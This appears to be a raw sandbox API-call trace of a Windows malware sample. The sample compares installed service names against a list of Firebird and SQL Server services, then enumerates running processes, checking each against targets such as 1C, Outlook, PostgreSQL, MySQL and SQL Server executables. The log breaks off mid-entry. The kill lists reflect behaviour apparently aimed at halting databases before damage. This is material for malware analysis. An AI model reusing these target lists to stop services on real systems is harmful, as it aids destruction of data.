(lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0040.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0040.272] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0040.272] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0040.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0040.272] lstrlenW (lpString="Dhcp") returned 4 [0040.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0040.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0040.272] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0040.272] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0040.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0040.272] lstrlenW (lpString="Dnscache") returned 8 [0040.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0040.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0040.272] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0040.272] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0040.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0040.272] lstrlenW (lpString="DPS") returned 3 [0040.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0040.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0040.272] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0040.272] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0040.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0040.272] lstrlenW (lpString="eventlog") returned 8 [0040.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0040.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0040.272] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0040.272] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0040.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0040.273] lstrlenW (lpString="EventSystem") returned 11 [0040.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0040.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0040.273] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0040.273] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0040.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0040.273] lstrlenW (lpString="gpsvc") returned 5 [0040.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0040.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0040.273] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0040.273] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0040.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0040.273] lstrlenW (lpString="iphlpsvc") returned 8 [0040.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0040.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0040.273] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0040.273] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0040.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0040.273] lstrlenW (lpString="LanmanServer") returned 12 [0040.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0040.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0040.273] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0040.273] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0040.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0040.273] lstrlenW (lpString="LanmanWorkstation") returned 17 [0040.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0040.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0040.274] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0040.274] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0040.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0040.274] lstrlenW (lpString="lmhosts") returned 7 [0040.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0040.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0040.274] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0040.274] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0040.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0040.274] lstrlenW (lpString="MMCSS") returned 5 [0040.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0040.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0040.274] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0040.274] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0040.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0040.274] lstrlenW (lpString="MpsSvc") returned 6 [0040.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0040.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0040.274] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0040.274] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0040.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0040.274] lstrlenW (lpString="Netman") returned 6 [0040.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0040.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0040.274] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0040.274] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0040.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0040.274] lstrlenW (lpString="netprofm") returned 8 [0040.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0040.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0040.274] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0040.274] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0040.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0040.275] lstrlenW (lpString="NlaSvc") returned 6 [0040.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0040.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0040.275] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0040.275] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0040.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0040.275] lstrlenW (lpString="nsi") returned 3 [0040.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0040.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0040.275] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0040.275] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0040.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0040.275] lstrlenW (lpString="PcaSvc") returned 6 [0040.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0040.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0040.275] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0040.275] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0040.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0040.275] lstrlenW (lpString="PlugPlay") returned 8 [0040.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0040.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0040.275] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0040.275] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0040.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0040.275] lstrlenW (lpString="Power") returned 5 [0040.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0040.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0040.275] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0040.275] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0040.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0040.275] lstrlenW (lpString="ProfSvc") returned 7 [0040.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0040.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0040.275] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0040.275] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0040.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0040.275] lstrlenW (lpString="RpcEptMapper") returned 12 [0040.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0040.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0040.276] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0040.276] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0040.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0040.276] lstrlenW (lpString="RpcSs") returned 5 [0040.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0040.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0040.276] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0040.276] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0040.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0040.276] lstrlenW (lpString="SamSs") returned 5 [0040.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0040.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0040.276] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0040.276] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0040.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0040.276] lstrlenW (lpString="Schedule") returned 8 [0040.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0040.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0040.276] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0040.276] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0040.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0040.276] lstrlenW (lpString="SENS") returned 4 [0040.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0040.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0040.276] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0040.276] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0040.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0040.276] lstrlenW (lpString="ShellHWDetection") returned 16 [0040.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0040.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0040.276] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0040.276] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0040.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0040.276] lstrlenW (lpString="Spooler") returned 7 [0040.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0040.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0040.276] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0040.277] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0040.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0040.277] lstrlenW (lpString="SysMain") returned 7 [0040.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0040.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0040.277] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0040.277] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0040.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0040.277] lstrlenW (lpString="Themes") returned 6 [0040.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0040.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0040.277] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0040.277] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0040.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0040.277] lstrlenW (lpString="TrkWks") returned 6 [0040.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0040.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0040.277] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0040.277] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0040.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0040.277] lstrlenW (lpString="UxSms") returned 5 [0040.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0040.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0040.277] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0040.277] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0040.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0040.277] lstrlenW (lpString="WdiServiceHost") returned 14 [0040.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0040.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0040.277] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0040.277] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0040.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0040.277] lstrlenW (lpString="WdiSystemHost") returned 13 [0040.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0040.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0040.277] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0040.277] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0040.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0040.278] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0040.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0040.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0040.278] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0040.278] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0040.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0040.278] lstrlenW (lpString="Winmgmt") returned 7 [0040.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0040.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0040.278] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0040.278] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0040.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0040.278] lstrlenW (lpString="WPDBusEnum") returned 10 [0040.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0040.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0040.278] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0040.278] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0040.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0040.278] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x6e1eb0 | out: hHeap=0x5f0000) returned 1 [0040.278] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e8 [0040.280] Process32FirstW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0040.281] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0040.281] lstrlenW (lpString="System") returned 6 [0040.281] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0040.281] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0040.281] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0040.281] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0040.281] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0040.281] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0040.281] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0040.281] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0040.282] lstrlenW (lpString="smss.exe") returned 8 [0040.282] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0040.282] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0040.282] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0040.282] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0040.282] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0040.282] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0040.282] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0040.282] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0040.283] lstrlenW (lpString="csrss.exe") returned 9 [0040.283] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0040.283] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0040.283] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0040.283] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0040.283] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0040.283] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0040.283] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0040.283] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0040.284] lstrlenW (lpString="wininit.exe") returned 11 [0040.284] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0040.284] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0040.284] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0040.284] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0040.284] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0040.284] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0040.284] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0040.284] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0040.285] lstrlenW (lpString="csrss.exe") returned 9 [0040.285] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0040.285] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0040.285] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0040.285] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0040.285] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0040.285] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0040.285] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0040.285] lstrlenW (lpString="winlogon.exe") returned 12 [0040.285] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0040.286] lstrlenW (lpString="services.exe") returned 12 [0040.286] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0040.287] lstrlenW (lpString="lsass.exe") returned 9 [0040.287] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0040.287] lstrlenW (lpString="lsm.exe") returned 7 [0040.287] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.288] lstrlenW (lpString="svchost.exe") returned 11 [0040.288] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.288] lstrlenW (lpString="svchost.exe") returned 11 [0040.289] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.289] lstrlenW (lpString="svchost.exe") returned 11 [0040.289] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.290] lstrlenW (lpString="svchost.exe") returned 11 [0040.290] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.290] lstrlenW (lpString="svchost.exe") returned 11 [0040.290] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0040.291] lstrlenW (lpString="audiodg.exe") returned 11 [0040.291] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.292] lstrlenW (lpString="svchost.exe") returned 11 [0040.292] Process32NextW (in: hSnapshot=0x1e8, lppe=0x214fd34 | out: 